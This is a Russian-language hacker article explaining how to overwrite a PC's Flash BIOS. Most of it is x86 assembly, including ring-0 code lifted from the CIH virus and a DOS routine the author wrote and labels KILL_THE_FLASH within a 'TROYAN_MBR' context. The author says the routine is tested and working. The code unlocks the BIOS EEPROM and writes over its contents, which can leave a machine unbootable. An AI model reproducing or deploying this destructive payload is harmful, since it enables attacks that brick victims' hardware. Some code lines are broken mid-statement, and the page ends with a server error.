Come on, baby, flash my BIOS © типа Jim Morrison
Увы, так и не удалось найти спецификации по Flash BIOS, и даже расхакивание программы AWDFLASH помогло понять не больше, чем исходник злобного CIH. Возможно, кому-нибудь и удастся узнать "почему", а темой нашей статьи будет "как". Первая часть, Windows'9x код 0-кольца, взята из исходника CIH, вторая - DOS-код - произведение на тему первой. Произведение работающее и проверенное на практике. Немного о технике безопасности: для проверки работоспособности этого кода необходимо иметь программу AWDFLASH для сохранения и перепрошивки Flash BIOS, запасной похожий чип и специальный пинцет для выдергивания (если не хочешь трахаться по-настоящему) чипа.
Внимание: FLASH BIOS - НЕ ДИСКЕТА. Он не рассчитан на многократное перепрошивание - пару раз получится, а дальше - все, это я заявляю на основе эксперимента.
; Записать BIOS EEPROM
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
; Прочитать страницу BIOS
; 000E0000 - 000EFFFF ( 64 KB )
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
; Прочитать страницу BIOS
; 000F0000 - 000FFFFF ( 64 KB )
mov di, 0058h
dec edx
; and al,0fh
mov 2 ptr (BooleanCalculateCode-@10)[esi],
0f24h
call esi
; Прочитать дополнительные данные BIOS
; 000E0000 - 000E01FF ( 512 Bytes )
; и секция дополнительного BIOS (Extra
; BIOS)
; может быть записана...
lea ebx, EnableEEPROMToWrite-
@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
push ecx
loop $
; Записать дополнительные данные BIOS
;(BIOS Extra ROM Data) 000E0000 -
;000E007F (80h B )
xor ah, ah
mov [eax], al
xchg ecx, eax
loop $
;Показать и включить основные данные
;BIOS {BIOS Main ROM Data} 000E0000 -
;000FFFFF, (128 KB), может быть
;записана...
mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h
loop $
; Записать данные об основном BIOS
{BIOS
; Main ROM Data} 000FE000 - 000FE07F,
; (80h Bytes)
mov ah, 0e0h
mov [eax], al
; Спрятать страницу BIOS
; 000F0000 - 000FFFFF,(64 KB)
; or al,10h
mov 2 ptr (BooleanCalculateCode-@10)[esi],
100ch
call esi
; Разрешить EEPROM для записи
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al
ret
; Ввод/вывод в EEPROM
IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
in al, dx
BooleanCalculateCode = $
or al, 44h
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
out dx, al
ret
; при компиляции исходник должен
; содержать :
;.radix 16
;.386p
KILL_THE_FLASH:
; Read BIOS Page 0E0000-0EFFFF
MOV EDI,8000384C ; value
MOV BP,0CF8 ; port
MOV DX,0CFE
CALL IOEEPROM
; Read BIOS Page 0F0000-
0FFFFF
MOV EDI,00000058
DEC DX
MOV 2 PTR DS:[BCCC-
TROYAN_MBR+0600],0F24 ; AND AL,0F
CALL IOEEPROM
PUSH SI DI DS ES
; extra BIOS (0E0000-0E01FF)
MOV AX,0E000
MOV DS,AX
MOV 1 PTR DS:[5555],0AA
MOV 1 PTR DS:[2AAA],55
MOV 1 PTR DS:[5555],80
MOV 1 PTR DS:[5555],0AA
MOV 1 PTR DS:[2AAA],55
MOV 1 PTR DS:[2AAA],60
XOR CX,CX
DEC CX
LOOP $
; kill extra BIOS (0E0000-0E007F)
MOV 1 PTR DS:[0055],55
XOR CX,CX
DEC CX
LOOP $
; show and enable main
; BIOS data (0E0000-0FFFFF)
MOV AX,0F000
MOV ES,AX
; DS=0E000, ES=0F000
MOV 1 PTR ES:[5555],0AA
MOV 1 PTR DS:[0AAAA],55
MOV 1 PTR ES:[5555],80
MOV 1 PTR ES:[5555],0AA
MOV 1 PTR DS:[2AAA],55
MOV 1 PTR ES:[5555],20
MOV CX,-1
LOOP $
; KILL MAIN BIOS DATA
;(0FE000-0FE07F)
MOV 1 PTR ES:[0E055],55
; HIDE BIOS PAGE
; (0F0000-0FFFFF)
POP ES DS DI SI
MOV 2 PTR CS:[BCCC-code_MBR+
600],100C ; OR AL,10
CALL IOEEPROM
JMP $ ; THE END COMPLETE
IOEEPROM:
XCHG EAX,EDI
XCHG DX,BP
OUT DX,EAX
XCHG EAX,EDI
XCHG DX,BP
IN AL,DX
BCCC EQU $
OR AL,44
XCHG EAX,EDI
XCHG DX,BP
OUT DX,EAX
XCHG EAX,EDI
XCHG DX,BP
OUT DX,AL
RETN
[an error occurred while processing this directive]